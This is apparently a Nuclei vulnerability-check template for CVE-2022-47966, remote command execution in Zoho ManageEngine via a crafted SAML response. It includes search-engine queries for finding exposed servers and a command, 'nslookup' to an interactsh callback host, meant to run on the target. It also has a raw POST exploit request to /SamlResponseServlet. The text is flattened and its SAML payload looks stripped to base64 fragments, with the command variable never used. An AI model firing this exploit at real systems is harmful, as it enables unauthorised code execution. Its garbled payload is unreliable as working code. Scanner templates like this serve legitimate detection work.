id: CVE-2022-47966 info: name: ManageEngine - Remote Command Execution author: rootxharsh,iamnoooob,DhiyaneshDK,pdresearch severity: critical description: | Multiple Zoho ManageEngine on-premise products, such as ServiceDesk Plus through 14003, allow remote code execution due to use of Apache xmlsec (aka XML Security for Java) 1.4.1, because the xmlsec XSLT features, by design in that version, make the application responsible for certain security protections, and the ManageEngine applications did not provide those protections. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the affected system. remediation: | Apply the latest security patches or updates provided by the vendor to fix this vulnerability. reference: - https://twitter.com/horizon3attack/status/1616062915097886732?s=46&t=ER_is9G4FlEebVFQPpnM0Q - https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/ - https://www.manageengine.com/security/advisory/CVE/cve-2022-47966.html - https://nvd.nist.gov/vuln/detail/CVE-2022-47966 - http://packetstormsecurity.com/files/170882/Zoho-ManageEngine-ServiceDesk-Plus-14003-Remote-Code-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-47966 epss-score: 0.97422 epss-percentile: 0.9993 cpe: cpe:2.3:a:zohocorp:manageengine_access_manager_plus:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: zohocorp product: manageengine_access_manager_plus shodan-query: - title:"ManageEngine" - http.title:"manageengine" fofa-query: title="manageengine" google-query: intitle:"manageengine" tags: cve,cve2022,packetstorm,rce,zoho,manageengine,oast,kev,zohocorp variables: cmd: 'nslookup {{interactsh-url}}' SAMLResponse: a H7gKuO6t9MbCJZujA9S7WlLFgdqMuNe0145KRwKl000= RbBWB6AIP8AN1wTZN6YYCKdnClFoh8GqmU2RXoyjmkr6I0AP371IS7jxSMS2zxFCdZ80kInvgVuaEt3yQmcq33/d6yGeOxZU7kF1f1D/da+oKmEoj4s6PQcvaRFNp+RfOxMECBWVTAxzQiH/OUmoL7kyZUhUwP9G8Yk0tksoV9pSEXUozSq+I5KEN4ehXVjqnIj04mF6Zx6cjPm4hciNMw1UAfANhfq7VC5zj6VaQfz7LrY4GlHoALMMqebNYkEkf2N1kDKiAEKVePSo1vHO0AF++alQRJO47c8kgzld1xy5ECvDc7uYwuDJo3KYk5hQ8NSwvana7KdlJeD62GzPlw== http: - raw: - | POST /SamlResponseServlet HTTP/2 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded SAMLResponse={{url_encode(base64(SAMLResponse))}}&RelayState= matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "dns" - type: word part: body words: - "Unknown error occurred while processing your request" - type: status status: - 500 # digest: 490a00463044022044df5d6ed82beb569d583783aca8455613328106391b6e01843a58e3fc8e1b7902207d1ae71d4bb3c4cf07108ff0a91fc1e5ab3d326187861c7cbd2bb74561f989b7:922c64590222798bb761d5b6d8e72950